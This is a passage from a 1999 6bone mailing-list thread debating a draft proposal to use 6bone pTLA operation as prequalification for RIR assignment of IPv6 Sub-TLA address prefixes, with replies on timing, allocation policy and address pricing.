unlikely they could get a positive 6PP Report. So maybe the problem should
be ignored and let the 6bone community police itself on this.

N5. clearly this process will be none too quick between the time to get it
firmed up and agreed to and the inherent time built into the process as
described above. Thus it may get poor support if the revised RIR draft
offers a reasonable alternative (of course that's why I noted this was a
voluntary path for sTRs to take). On this we will have to see what the RIRs
do in their next draft.

N6. there may be a liability exposure of the IETF with this process, given
the 6bone relationship to the IETF. This need not be covered here, but
everyone should be aware of the issue.


Things forgotten !!?? :-) Speak up!

-end



From 6bone-owner  Sun Apr  4 20:17:48 1999
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Message-ID: <01BE7EF1.58D7AC20.hansolofalcon@worldnet.att.net>
From: Gregg Levine <hansolofalcon@worldnet.att.net>
To: "'Bob Fink'" <fink@es.net>
Cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: 6bone Prequalification for Sub-TLA assignment
Date: Sun, 4 Apr 1999 23:16:12 -0400
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Hello from Gregg Levine usually at Jedi Knight Computers
I hate to be a nitpicker, or a piker, but what about backward 
compatibility? And what about Port Assignment? And what about Service 
Numbers? Obviously these are minor things, but probably they will turn out 
to be important later.
On Sunday, April 04, 1999 8:41 PM, Bob Fink [SMTP:fink@es.net] wrote:
| 6bone Folk,
|
| At the recent Minneapolis IETF meetings, the three RIR registries (APNIC,
| ARIN and RIPE-NCC) had meetings with various groups about their recent
| draft proposal for policies regarding the assignment of production IPv6
| Sub-TLA address prefixes. One of the most difficult aspects of their 
policy
| (for them and for the IPv6 community) is to figure out how to go safely
| between the two extremes of either giving Sub-TLAs away too easily, or
| making it too difficult to get them.
|
| If Sub-TLAs are given away too easily, they will be encouraging non-ipv6
| providers to get theirs now, i.e., the land rush model which could easily
| fill up the TLA/Sub-TLA space with networks, sites, and organizations 
that
| simply want to make sure they have a TLA/Sub-TLA, even if they don't need
| one now or really qualify (i.e., they have no intent on putting up IPv6
| service and/or are simply not higher level transits).
|
| Alternatively, if Sub-TLAs are too hard to get, especially in the early
| days of IPv6 deployment, it will discourage providers from putting up 
IPv6
| service, may give the impression that IPv6 doesn't help the address space
| problem at all, thus greatly impeding the progress of IPv6 deployment and
| transition, and even pose a legal risk to the registries.
|
| During the meetings and discussions with the registries during the IETF
| week, the idea of potentially using the 6bone as some sort of
| prequalification for getting Sub-TLAs from the RIRs was proposed. This
| could be especially useful during the "bootstrap" phase of IPv6 
deployment
| and address assignement (say 6 months to 24 months max). This idea was 
well
| received by the RIRs, the IAB, the IPv6 co-chairs and various folk in the
| IPv6 community. Thus the idea was pursued with a first draft reviewed by
| the IAB, the RIRs and the IPv6 co-chairs. Now it is time for getting
| comments from the 6bone community, which is the purpose of this email.
|
| An overview of the idea is that a network wanting a Sub-TLA would go
| through the process of joining the 6bone to become a pTLA (for which 
rules
| and procedures are in place, and soon to be reworked based on the 6bone
| hardening effort now underway), and after spending 3 months as a pTLA 
would
| ask for a "fitness report" from the 6bone community (actually a small
| oversight group) to be made to the relevant RIR so that a Sub-TLA could 
be
| assigned (thought it will still be the RIR making the actual decision and
| assignment).
|
| Note that the RIRs will soon reissue a draft incorporating other ideas 
and
| comments from various sources, and will continue to have Sub-TLA
| prequalification criteria independent of the ideas presented here. Also
| note that the RIRs will still be the folk in charge of deciding who gets
| TLA/Sub-TLAs. Our processes, if adopted, will only be advisory to the 
RIRs.
|
| So, please review this carefully and send your comments to the full list
| above (unless you have some reason to say something in private to 
someone!).
|
|
| This will be open for discussion until 19 April '99, at which time the 
IAB,
| RIRs and IPv6 co-chairs will decide whether to move forward on an 
agreement
| about this or not, based on comments received.
|
|
| Thanks,
|
| Bob
|
| ------------------
| 6bone Prequalification for Sub-TLA Assignment - draft 2, April 4, 1999 -
| Bob Fink
|
| The following is a draft to describe how the 6bone might be used as a
| prequalification step during the "bootstrap" phase of Sub-TLA assignment 
by
| the Regional Internet Registries (RIRs):
|
| It is predicated on the following facts:
|
| F1. the 6bone community represents the world-wide IPv6 operational
| networking community as of early 1999, including all existing IPv6
| providers and users in the world, operating under the only IPv6 address
| allocation and authority in place at that time, i.e., the 3FFE::/16
| allocation to the 6bone under RFC 2471 ("IPv6 Testing Address 
Allocation")
| <ftp://ftp.isi.edu/in-notes/rfc2471.txt>.
|
| F2. the 6bone has a well defined address structure underneath the RFC 
2471
| allocation for high-level (top tier) transit service providers, know as a
| Pseudo-TLA (pTLA), that all the known top level IPv6 transit providers 
are
| part of. See <http://www.6bone.net/6bone-testv2-addr-usage.html> for
| documentation of the pTLA structure. The pTLA structure is modeled on the
| TLA structure and serves as a proving/testing ground for those 
structures.
|
| F3. the 6bone process for becoming a Pseudo-TLA (pTLA) is well defined 
and
| accepted by the 6bone community. See
| <http://www.6bone.net/6bone-routing-practice.htm> Section 7 for 
Guidelines
| for 6Bone pTLA sites. It has just been made Informational RFC 2546.
|
| F4. the 6bone community as a whole is willing to provide their knowledge,
| experience and opinions as part of a process to help "bootstrap" the
| Sub-TLA (sTLA) address allocation process for the RIRs.
|
| ===
| 6bone Prequalification for Sub-TLAs
|
| S1. the sTLA requestor (sTR) places their Sub-TLA request with the
| appropriate RIR and declares that they intend to use the 6bone
| prequalification process (6PP).
|
| S2. the sTR (and the RIR?) notifies the 6bone list of their intent to use
| the 6PP.
|
| S3. the sTR follows the published process for becoming a pTLA (This will
| change by the end of the OSLO IETF meetings as the 6bone hardening 
process
| is approved by the NGtrans 6bone community). At the present time this
| process is documented by [RFC 2546] Section 7. This process currently
| requires 2-3 months minimum, based on this current practice, from the 
time
| of first joining the 6bone as a end-site network.
|
| S4. after the sTR has been approved as a pTLA, and operating as a pTLA 
for
| 3 months with at least y customers (either lower level transits or
| end-sites) (recommend 3 customers), the pTR petitions the 6bone mailing
| list for support of its request for a Sub-TLA based on its performance as 
a
| pTLA, providing relevant proof or statement of how and/or why they 
believe
| they have met current 6bone backbone practices (currently as in RFC 
2546).
|
| S5. a 6bone steering group (consisting of 3-5 persons established by 
6bone
| participant consensus) prepares a short 6bone fitness report report (6FR)
| based on input received from 6bone participants (note this means members 
of
| pTLAs, pNLAs or end-sites organizations, not just mailing list 
subscribers)
| and factual information of compliance with established pTLA rules extant 
at
| the time (currently RFC 2546) and submits this report (the 6FR) to the
| appropriate regsitry (will need a well established contact point for the
| three IRRs).
|
| S6. if after the minimum time for the steps above, plus 1 (2?) month(s),
| the sTR may protest to the appropriate RIR of non-responsiveness and 
revert
| to another qualification process per RIR rules (unrelated to the 6PP).
|
| S7. after assignment of an sTLA to the sTR (by the RIR), the sTR may
| optionally renumber from the 6bone pTLA prefeix to the sTLA prefix, or
| continue use of their pTLA. If the pTLA space becomes over subscribed, 
the
| most likely networks to be asked to surrender their pTLA would be those
| holding production number space.
|
| ===
| Misc. Notes:
|
| N1. currently the RFC 2546 doc is being reworked under the 6bone 
hardening
| process now underway, which will almost certainly yield a stronger set of
| rules on what it takes to become a pTLA.
|
| N2. the current RFC 2546 doc does not specify a prequalification time as 
a
| pNLA or end-site 6bone site prior to requesting a pTLA, so it is
| recommended that a minimum of 2 months be specified (prior to the new 
rules
| being published after Oslo).
|
| N3. in S6. above, the total time from start of the 6PP until a protest
| could be made to the RIR, would be in the 6-8 months minimum (2-3 mos.
| while becoming a pTLA, 3 mos. while a pTLA, plus 1-2 mos.).
|
| N4. we need a way to handle existing pTLA sites that should not really 
have
| an sTLA as they are not production networks, rather they were created to
| "bootstrap" the 6bone or help a specific testing user community. This 
might
| include sites like INNER, TELEBIT, VIAGENIE, CISCO, NRL, UO, 3COM, MERIT,
| BT-LABS. Note that DIGITAL (now COMPAQ) is different in that they are
| acting as a real IPv6 exchange thus have not been included in the 
previous
| list. It is doubtful that these site would ask, but if they did it would 
be
| unlikely they could get a positive 6PP Report. So maybe the problem 
should
| be ignored and let the 6bone community police itself on this.
|
| N5. clearly this process will be none too quick between the time to get 
it
| firmed up and agreed to and the inherent time built into the process as
| described above. Thus it may get poor support if the revised RIR draft
| offers a reasonable alternative (of course that's why I noted this was a
| voluntary path for sTRs to take). On this we will have to see what the 
RIRs
| do in their next draft.
|
| N6. there may be a liability exposure of the IETF with this process, 
given
| the 6bone relationship to the IETF. This need not be covered here, but
| everyone should be aware of the issue.
|
|
| Things forgotten !!?? :-) Speak up!
|
| -end
| 
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From 6bone-owner  Mon Apr  5 07:11:56 1999
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Date: Mon, 5 Apr 1999 10:11:17 -0400 (EDT)
From: Robert Rockell <rrockell@sprint.net>
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To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>, Kim Hubbard <kimh@arin.net>,
        Paul Wilson <pwilson@apnic.net>, Mirjam Kuhne <mir@ripe.net>,
        Daniel Karrenberg <daniel@ripe.net>,
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        Alain Durand <Alain.Durand@imag.fr>, Randy Bush <randy@psg.com>,
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Subject: Re: 6bone Prequalification for Sub-TLA assignment
In-Reply-To: <4.1.19990330090417.009b2400@imap2.es.net>
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->This will be open for discussion until 19 April '99, at which time the IAB,
->RIRs and IPv6 co-chairs will decide whether to move forward on an agreement
->about this or not, based on comments received. 

If the 6bone Hardening effort is not fully developed yet, maybe we can hold
off on the date to see if the efforts of this group prove to be fuitful, or
at least agreed upon, by all interested parties? However, this is not meant
to say that we should hold up the delegation of TLA's till after Oslo,
simply due to scheduling. 

I am afraid to move forward with the assumption that the hardening effort
will be written in stone, and used as an advisory to the registries, if it
has the chance of not being widely accepted withing the working groups, and
particualarly the 6bone. 

Just a humble opinion.

Rob Rockell
Sprintlink Operations Engineering
703.689.6322
800.724.3508; 3858833

->
->
->Thanks,
->
->Bob
->
->------------------
->6bone Prequalification for Sub-TLA Assignment - draft 2, April 4, 1999 -
->Bob Fink
->
->The following is a draft to describe how the 6bone might be used as a
->prequalification step during the "bootstrap" phase of Sub-TLA assignment by
->the Regional Internet Registries (RIRs):
->
->It is predicated on the following facts:
->
->F1. the 6bone community represents the world-wide IPv6 operational
->networking community as of early 1999, including all existing IPv6
->providers and users in the world, operating under the only IPv6 address
->allocation and authority in place at that time, i.e., the 3FFE::/16
->allocation to the 6bone under RFC 2471 ("IPv6 Testing Address Allocation")
-><ftp://ftp.isi.edu/in-notes/rfc2471.txt>.
->
->F2. the 6bone has a well defined address structure underneath the RFC 2471
->allocation for high-level (top tier) transit service providers, know as a
->Pseudo-TLA (pTLA), that all the known top level IPv6 transit providers are
->part of. See <http://www.6bone.net/6bone-testv2-addr-usage.html> for
->documentation of the pTLA structure. The pTLA structure is modeled on the
->TLA structure and serves as a proving/testing ground for those structures. 
->
->F3. the 6bone process for becoming a Pseudo-TLA (pTLA) is well defined and
->accepted by the 6bone community. See
-><http://www.6bone.net/6bone-routing-practice.htm> Section 7 for Guidelines
->for 6Bone pTLA sites. It has just been made Informational RFC 2546.
->
->F4. the 6bone community as a whole is willing to provide their knowledge,
->experience and opinions as part of a process to help "bootstrap" the
->Sub-TLA (sTLA) address allocation process for the RIRs.
->
->===
->6bone Prequalification for Sub-TLAs 
->
->S1. the sTLA requestor (sTR) places their Sub-TLA request with the
->appropriate RIR and declares that they intend to use the 6bone
->prequalification process (6PP).
->
->S2. the sTR (and the RIR?) notifies the 6bone list of their intent to use
->the 6PP.
->
->S3. the sTR follows the published process for becoming a pTLA (This will
->change by the end of the OSLO IETF meetings as the 6bone hardening process
->is approved by the NGtrans 6bone community). At the present time this
->process is documented by [RFC 2546] Section 7. This process currently
->requires 2-3 months minimum, based on this current practice, from the time
->of first joining the 6bone as a end-site network.
->
->S4. after the sTR has been approved as a pTLA, and operating as a pTLA for
->3 months with at least y customers (either lower level transits or
->end-sites) (recommend 3 customers), the pTR petitions the 6bone mailing
->list for support of its request for a Sub-TLA based on its performance as a
->pTLA, providing relevant proof or statement of how and/or why they believe
->they have met current 6bone backbone practices (currently as in RFC 2546).
->
->S5. a 6bone steering group (consisting of 3-5 persons established by 6bone
->participant consensus) prepares a short 6bone fitness report report (6FR)
->based on input received from 6bone participants (note this means members of
->pTLAs, pNLAs or end-sites organizations, not just mailing list subscribers)
->and factual information of compliance with established pTLA rules extant at
->the time (currently RFC 2546) and submits this report (the 6FR) to the
->appropriate regsitry (will need a well established contact point for the
->three IRRs).
->
->S6. if after the minimum time for the steps above, plus 1 (2?) month(s),
->the sTR may protest to the appropriate RIR of non-responsiveness and revert
->to another qualification process per RIR rules (unrelated to the 6PP).
->
->S7. after assignment of an sTLA to the sTR (by the RIR), the sTR may
->optionally renumber from the 6bone pTLA prefeix to the sTLA prefix, or
->continue use of their pTLA. If the pTLA space becomes over subscribed, the
->most likely networks to be asked to surrender their pTLA would be those
->holding production number space.
->
->===
->Misc. Notes:
->
->N1. currently the RFC 2546 doc is being reworked under the 6bone hardening
->process now underway, which will almost certainly yield a stronger set of
->rules on what it takes to become a pTLA.
->
->N2. the current RFC 2546 doc does not specify a prequalification time as a
->pNLA or end-site 6bone site prior to requesting a pTLA, so it is
->recommended that a minimum of 2 months be specified (prior to the new rules
->being published after Oslo).
->
->N3. in S6. above, the total time from start of the 6PP until a protest
->could be made to the RIR, would be in the 6-8 months minimum (2-3 mos.
->while becoming a pTLA, 3 mos. while a pTLA, plus 1-2 mos.).
->
->N4. we need a way to handle existing pTLA sites that should not really have
->an sTLA as they are not production networks, rather they were created to
->"bootstrap" the 6bone or help a specific testing user community. This might
->include sites like INNER, TELEBIT, VIAGENIE, CISCO, NRL, UO, 3COM, MERIT,
->BT-LABS. Note that DIGITAL (now COMPAQ) is different in that they are
->acting as a real IPv6 exchange thus have not been included in the previous
->list. It is doubtful that these site would ask, but if they did it would be
->unlikely they could get a positive 6PP Report. So maybe the problem should
->be ignored and let the 6bone community police itself on this.
->
->N5. clearly this process will be none too quick between the time to get it
->firmed up and agreed to and the inherent time built into the process as
->described above. Thus it may get poor support if the revised RIR draft
->offers a reasonable alternative (of course that's why I noted this was a
->voluntary path for sTRs to take). On this we will have to see what the RIRs
->do in their next draft.
->
->N6. there may be a liability exposure of the IETF with this process, given
->the 6bone relationship to the IETF. This need not be covered here, but
->everyone should be aware of the issue.
->
->
->Things forgotten !!?? :-) Speak up!
->
->-end
->
->


From 6bone-owner  Mon Apr  5 07:42:38 1999
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From: Smirk35@aol.com
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Date: Mon, 5 Apr 1999 10:44:29 EDT
Subject: Re: 6bone Prequalification for Sub-TLA assignment
To: hansolofalcon@worldnet.att.net, fink@es.net
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Just an observer,

Maybe giving the community a section of IPv6 as we do with (IPv4 10.x.x.x) so 
that the community will be able to use it as a test bed and then allow the 
pTLA submit a small addressing of IPv6 for access to 6bone like most of the 
world does with IPv4 Internet access with class-C's.

Pricing the block of addresses would deter the small business wanting a very 
large block of IPv6.  Low cost on small blocks and tracking the number of 
blocks by that company so as not to accumulate 100s of small blocks by the 
same company.

Mark H. Bowen


From 6bone-owner  Mon Apr  5 08:16:26 1999
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To: Bob Fink <fink@es.net>
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        Paul Wilson <pwilson@apnic.net>, Mirjam Kuhne <mir@ripe.net>,
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Subject: Re: 6bone Prequalification for Sub-TLA assignment
References: <4.1.19990330090417.009b2400@imap2.es.net>
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From: "Perry E. Metzger" <perry@piermont.com>
Date: 05 Apr 1999 11:16:16 -0400
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Bob Fink <fink@es.net> writes:
> If Sub-TLAs are given away too easily, they will be encouraging non-ipv6
> providers to get theirs now, i.e., the land rush model which could easily
> fill up the TLA/Sub-TLA space with networks, sites, and organizations that
> simply want to make sure they have a TLA/Sub-TLA, even if they don't need
> one now or really qualify (i.e., they have no intent on putting up IPv6
> service and/or are simply not higher level transits).
> 
> Alternatively, if Sub-TLAs are too hard to get, especially in the early
> days of IPv6 deployment, it will discourage providers from putting up IPv6
> service, may give the impression that IPv6 doesn't help the address space
> problem at all, thus greatly impeding the progress of IPv6 deployment and
> transition, and even pose a legal risk to the registries.

I think we should err on the side of liberalism. The whole advantage
of IPv6 is that we don't break the IP end to end model by forcing
people into NATs. If its too hard to get v6 address space, no one is
going to have any incentive to move to v6. If you can get v6 space
when you couldn't get v4 space, people will start wanting it.



Perry

From 6bone-owner  Mon Apr  5 09:52:37 1999
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        daniel@ripe.net, brian@hursley.ibm.com, hinden@iprg.nokia.com,
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Subject: Re: 6bone Prequalification for Sub-TLA assignment
In-Reply-To: <871zhzp073.fsf@jekyll.piermont.com>
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	<871zhzp073.fsf@jekyll.piermont.com>
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	Hi. This is HEO writeing

> Bob Fink <fink@es.net> writes:
> > If Sub-TLAs are given away too easily, they will be encouraging non-ipv6
> > providers to get theirs now, i.e., the land rush model which could easily
> > fill up the TLA/Sub-TLA space with networks, sites, and organizations that
> > simply want to make sure they have a TLA/Sub-TLA, even if they don't need
> > one now or really qualify (i.e., they have no intent on putting up IPv6
> > service and/or are simply not higher level transits).
> > 
> > Alternatively, if Sub-TLAs are too hard to get, especially in the early
> > days of IPv6 deployment, it will discourage providers from putting up IPv6
> > service, may give the impression that IPv6 doesn't help the address space
> > problem at all, thus greatly impeding the progress of IPv6 deployment and
> > transition, and even pose a legal risk to the registries.
> 
> I think we should err on the side of liberalism. The whole advantage
> of IPv6 is that we don't break the IP end to end model by forcing
> people into NATs. If its too hard to get v6 address space, no one is
> going to have any incentive to move to v6. If you can get v6 space
> when you couldn't get v4 space, people will start wanting it.

	I agree perry@piermont.com's opinion, too.

	The IPv6 is very happy because many of IPv6 users are assigned IP
	address, so the users need not use IP (header) rewriting
	software, such like NAT, NAPT, or IP masquerade.

	sTLA assignment rule assigns IPv6 assigner to limited sites.
	We are now wanted IPv6 assigner near our site, or if we can not
	get such site, one of our solution is "we become assigner".
	That rules are reject that solution.

	IPv6 Network become generalize, maybe that rule will work. But
	start of construct and use IPv6 network, many of the interested
	person or volunteer team can get sTLA and assign IPv6 address many 
	users.

	We need IPv6 users first. And now we can get IPv6 protocol stack
	easily. So next step is many of users get IPv6 address easily.

	Sorry for my poor English.
	Thanks

----------
HEO SeonMeyong.
	Internet Research Institute, Inc.
	seirios@matrix.iri.co.jp

From 6bone-owner  Mon Apr  5 13:44:19 1999
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Subject: Re: 6bone Prequalification for Sub-TLA assignment
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Smirk35@aol.com writes:
> Just an observer,
> 
> Maybe giving the community a section of IPv6 as we do with (IPv4
> 10.x.x.x)

We already have a private addressing plan. That's not the point at hand...

.pm

From 6bone-owner  Mon Apr  5 15:04:35 1999
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Date: Mon, 05 Apr 1999 14:56:48 -0700
To: Robert Rockell <rrockell@sprint.net>
From: Bob Fink <fink@es.net>
Subject: Re: 6bone Prequalification for Sub-TLA assignment
Cc: 6BONE List <6bone@ISI.EDU>, Kim Hubbard <kimh@arin.net>,
        Paul Wilson <pwilson@apnic.net>, Mirjam Kuhne <mir@ripe.net>,
        Daniel Karrenberg <daniel@ripe.net>,
        Brian E Carpenter <brian@hursley.ibm.com>,
        Bob Hinden <hinden@iprg.nokia.com>, Steve Deering <deering@cisco.com>,
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Rob,

At 10:11 AM 4/5/99 -0400, Robert Rockell wrote:
>->This will be open for discussion until 19 April '99, at which time the IAB,
>->RIRs and IPv6 co-chairs will decide whether to move forward on an agreement
>->about this or not, based on comments received. 
>
>If the 6bone Hardening effort is not fully developed yet, maybe we can hold
>off on the date to see if the efforts of this group prove to be fuitful, or
>at least agreed upon, by all interested parties? However, this is not meant
>to say that we should hold up the delegation of TLA's till after Oslo,
>simply due to scheduling. 
>
>I am afraid to move forward with the assumption that the hardening effort
>will be written in stone, and used as an advisory to the registries, if it
>has the chance of not being widely accepted withing the working groups, and
>particualarly the 6bone. 

Although I believe we will eventually agree to some (a lot) of 6bone
hardening, I don't think this prequalification method hinges on it, and we
do have a current set of rules for becoming a pTLA. If the 6bone consensus
is that a network is a qualified pTLA, they would probably get a fitness
report to the affirmative. When the 6bone's pTLA rules eventually get
tougher (and I hope they will), it will just be a little tougher to get a
fitness report.

I don't really want us to delay on this prequalification any longer than it
takes to get an agreement in place. We do need to have Sub-TLAs assigned.


Thanks,

Bob


From 6bone-owner  Mon Apr  5 16:28:55 1999
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Date: Mon, 5 Apr 1999 16:22:18 -0700
From: Seth David Schoen <schoen@uclink4.Berkeley.EDU>
To: 6bone@ISI.EDU
Subject: Re: 6bone Prequalification for Sub-TLA assignment
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Smirk35@aol.com writes:

> Just an observer,
> 
> Maybe giving the community a section of IPv6 as we do with (IPv4 10.x.x.x) so 
> that the community will be able to use it as a test bed and then allow the 
> pTLA submit a small addressing of IPv6 for access to 6bone like most of the 
> world does with IPv4 Internet access with class-C's.
> 
> Pricing the block of addresses would deter the small business wanting a very 
> large block of IPv6.  Low cost on small blocks and tracking the number of 
> blocks by that company so as not to accumulate 100s of small blocks by the 
> same company.

There's certainly nothing wrong with testing allocations, but there's already
a working IPv6 testing allocation (3FFE); I haven't heard of any plans to
take it back or to shut down the 6bone just because production allocations
are coming up.

Network 10 in IPv4 isn't really for "testing": it's intended for production
use on private networks.  (RFC 1657, RFC 1918)  Private networks -- at least
"permanent" or structurally private networks that cannot possibly be directly
connected to the Internet -- are deprecated.

In the old days of IPv4, there was no charge for IPv4 allocations.  (Some
people I know managed to get portable class C allocations when they were
fourteen to sixteen years old, without particularly extensive justification
about what they were going to do with them.  That's how liberal the
allocations were before the Internet became a household word.)

There's no reason that people should be paying for IPv6 addresses themselves,
since IPv6 was deliberately designed so as to make addresses non-scarce.
Of course, registrants may well need to pay a filing fee to meet the
administrative costs of the registries, but there is no reason that they
should pay for the actual address delegations.

Remember that these addresses are _addresses_, which exist in mathematical
spaces and not in the physical world, and that the addressing and allocation
schemes are being designed in advance by people to meet their requirements.
If everything is done right, there should be no scarcity of addresses, and
consequently no need to pay for them, and no market for them.

-- 
              Seth David Schoen / schoen@uclink4.berkeley.edu
He said, "This is what the king who will reign over you will do."  And they
said, "Nay, but we will have a king over us, that we also may be like all the
nations." (1 Sam 8)  http://ishmael.geecs.org/~sigma/   http://www.loyalty.org/

From 6bone-owner  Mon Apr  5 20:53:31 1999
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Subject: Re: 6bone Prequalification for Sub-TLA assignment
From: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=)
 <kazu@iijlab.net>
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	<4.1.19990330090417.009b2400@imap2.es.net>,<4.1.19990330090417.009b2400@imap2.es.net>,<4.1.19990330090417.009b2400@imap2.es.net>
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From: Bob Fink <fink@es.net>
Subject: 6bone Prequalification for Sub-TLA assignment
Date: Sun, 04 Apr 1999 16:40:56 -0800

> Note that the RIRs will soon reissue a draft incorporating other ideas and
> comments from various sources, and will continue to have Sub-TLA
> prequalification criteria independent of the ideas presented here. 

How soon will be the next draft reissued? Note that the promise
deadline, within two weeks, has passed.

--Kazu

From 6bone-owner  Tue Apr  6 02:06:15 1999
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Date: Tue, 6 Apr 1999 01:59:41 -0700
From: Seth David Schoen <schoen@uclink4.Berkeley.EDU>
To: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6bone Prequalification for Sub-TLA assignment
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Bob Fink writes:

> I don't really want us to delay on this prequalification any longer than it
> takes to get an agreement in place. We do need to have Sub-TLAs assigned.

On another note, is there an already accepted set of standards for
qualification other than this prequalification procedure?  I.e. if someone
wants to be a TLA or sub-TLA somewhat later on, is there a prospect of a clear
way to do this other than via 6bone performance reports?

It seems to me that, if all goes well, a flood of late adopters -- which is
to say other-than-earliest-conceivable-adopters -- will appear sometime in
the next year.  Do they continue to go through the 6bone prequalification
process in order to receive IPv6 allocations, or is there to be another way
in?

-- 
              Seth David Schoen / schoen@uclink4.berkeley.edu
He said, "This is what the king who will reign over you will do."  And they
said, "Nay, but we will have a king over us, that we also may be like all the
nations." (1 Sam 8)  http://ishmael.geecs.org/~sigma/   http://www.loyalty.org/

From 6bone-owner  Tue Apr  6 02:55:53 1999
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Date: Tue, 06 Apr 1999 10:54:15 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM Internet Division
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To: Seth David Schoen <schoen@uclink4.Berkeley.EDU>
CC: 6bone@ISI.EDU
Subject: Re: 6bone Prequalification for Sub-TLA assignment
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This isn't the IETF, so we don't have a blanket rule against talking
about pricing, but I still wouldn't recommend it; such discussions
never converge.

   Brian

Seth David Schoen wrote:
> 
> Smirk35@aol.com writes:
> 
> > Just an observer,
> >
> > Maybe giving the community a section of IPv6 as we do with (IPv4 10.x.x.x) so
> > that the community will be able to use it as a test bed and then allow the
> > pTLA submit a small addressing of IPv6 for access to 6bone like most of the
> > world does with IPv4 Internet access with class-C's.
> >
> > Pricing the block of addresses would deter the small business wanting a very
> > large block of IPv6.  Low cost on small blocks and tracking the number of
> > blocks by that company so as not to accumulate 100s of small blocks by the
> > same company.
> 
> There's certainly nothing wrong with testing allocations, but there's already
> a working IPv6 testing allocation (3FFE); I haven't heard of any plans to
> take it back or to shut down the 6bone just because production allocations
> are coming up.
> 
> Network 10 in IPv4 isn't really for "testing": it's intended for production
> use on private networks.  (RFC 1657, RFC 1918)  Private networks -- at least
> "permanent" or structurally private networks that cannot possibly be directly
> connected to the Internet -- are deprecated.
> 
> In the old days of IPv4, there was no charge for IPv4 allocations.  (Some
> people I know managed to get portable class C allocations when they were
> fourteen to sixteen years old, without particularly extensive justification
> about what they were going to do with them.  That's how liberal the
> allocations were before the Internet became a household word.)
> 
> There's no reason that people should be paying for IPv6 addresses themselves,
> since IPv6 was deliberately designed so as to make addresses non-scarce.
> Of course, registrants may well need to pay a filing fee to meet the
> administrative costs of the registries, but there is no reason that they
> should pay for the actual address delegations.
> 
> Remember that these addresses are _addresses_, which exist in mathematical
> spaces and not in the physical world, and that the addressing and allocation
> schemes are being designed in advance by people to meet their requirements.
> If everything is done right, there should be no scarcity of addresses, and
> consequently no need to pay for them, and no market for them.
> 
> --
>               Seth David Schoen / schoen@uclink4.berkeley.edu
> He said, "This is what the king who will reign over you will do."  And they
> said, "Nay, but we will have a king over us, that we also may be like all the
> nations." (1 Sam 8)  http://ishmael.geecs.org/~sigma/   http://www.loyalty.org/

From 6bone-owner  Tue Apr  6 03:06:49 1999
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From: Brian E Carpenter <brian@hursley.ibm.com>
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To: Bob Fink <fink@es.net>
CC: Robert Rockell <rrockell@sprint.net>, 6BONE List <6bone@ISI.EDU>,
        Kim Hubbard <kimh@arin.net>, Paul Wilson <pwilson@apnic.net>,
        Mirjam Kuhne <mir@ripe.net>, Daniel Karrenberg <daniel@ripe.net>,
        Bob Hinden <hinden@iprg.nokia.com>, Steve Deering <deering@cisco.com>,
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Subject: Re: 6bone Prequalification for Sub-TLA assignment
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The 6bone would not be the *only* way of getting a sTLA;
but we certainly shouldn't make the 6bone's internal debate
a roadblock for sTLA assignments; this is late already!

  Brian

Bob Fink wrote:
> 
> Rob,
> 
> At 10:11 AM 4/5/99 -0400, Robert Rockell wrote:
> >->This will be open for discussion until 19 April '99, at which time the IAB,
> >->RIRs and IPv6 co-chairs will decide whether to move forward on an agreement
> >->about this or not, based on comments received.
> >
> >If the 6bone Hardening effort is not fully developed yet, maybe we can hold
> >off on the date to see if the efforts of this group prove to be fuitful, or
> >at least agreed upon, by all interested parties? However, this is not meant
> >to say that we should hold up the delegation of TLA's till after Oslo,
> >simply due to scheduling.
> >
> >I am afraid to move forward with the assumption that the hardening effort
> >will be written in stone, and used as an advisory to the registries, if it
> >has the chance of not being widely accepted withing the working groups, and
> >particualarly the 6bone.
> 
> Although I believe we will eventually agree to some (a lot) of 6bone
> hardening, I don't think this prequalification method hinges on it, and we
> do have a current set of rules for becoming a pTLA. If the 6bone consensus
> is that a network is a qualified pTLA, they would probably get a fitness
> report to the affirmative. When the 6bone's pTLA rules eventually get
> tougher (and I hope they will), it will just be a little tougher to get a
> fitness report.
> 
> I don't really want us to delay on this prequalification any longer than it
> takes to get an agreement in place. We do need to have Sub-TLAs assigned.
> 
> Thanks,
> 
> Bob

From 6bone-owner  Tue Apr  6 03:29:31 1999
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To: Seth David Schoen <schoen@uclink4.Berkeley.EDU>
CC: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6bone Prequalification for Sub-TLA assignment
References: <4.1.19990330090417.009b2400@imap2.es.net> <Pine.GSO.3.96.990405100742.11084E-100000@iscone> <4.1.19990405144759.01f43a00@imap2.es.net> <19990406015941.E19610@requiem.geecs.org>
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Yes. The proposal to prequalify via 6bone is an addition to
the criteria originally suggested by the registries.

  Brian

Seth David Schoen wrote:
> 
> Bob Fink writes:
> 
> > I don't really want us to delay on this prequalification any longer than it
> > takes to get an agreement in place. We do need to have Sub-TLAs assigned.
> 
> On another note, is there an already accepted set of standards for
> qualification other than this prequalification procedure?  I.e. if someone
> wants to be a TLA or sub-TLA somewhat later on, is there a prospect of a clear
> way to do this other than via 6bone performance reports?
> 
> It seems to me that, if all goes well, a flood of late adopters -- which is
> to say other-than-earliest-conceivable-adopters -- will appear sometime in
> the next year.  Do they continue to go through the 6bone prequalification
> process in order to receive IPv6 allocations, or is there to be another way
> in?
> 
> --
>               Seth David Schoen / schoen@uclink4.berkeley.edu
> He said, "This is what the king who will reign over you will do."  And they
> said, "Nay, but we will have a king over us, that we also may be like all the
> nations." (1 Sam 8)  http://ishmael.geecs.org/~sigma/   http://www.loyalty.org/

From 6bone-owner  Tue Apr  6 05:51:06 1999
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Date: Tue, 06 Apr 1999 05:49:48 -0700
To: Seth David Schoen <schoen@uclink4.Berkeley.EDU>,
        6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: 6bone Prequalification for Sub-TLA assignment
In-Reply-To: <19990406015941.E19610@requiem.geecs.org>
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Seth David,

At 01:59 AM 4/6/99 -0700, Seth David Schoen wrote:
>Bob Fink writes:
>
>> I don't really want us to delay on this prequalification any longer than it
>> takes to get an agreement in place. We do need to have Sub-TLAs assigned.
>
>On another note, is there an already accepted set of standards for
>qualification other than this prequalification procedure?  I.e. if someone
>wants to be a TLA or sub-TLA somewhat later on, is there a prospect of a clear
>way to do this other than via 6bone performance reports?

There is the registry draft we have already seen (that promped this 6bone
prequal process) that will be revved in the next week. Watch this list :-)


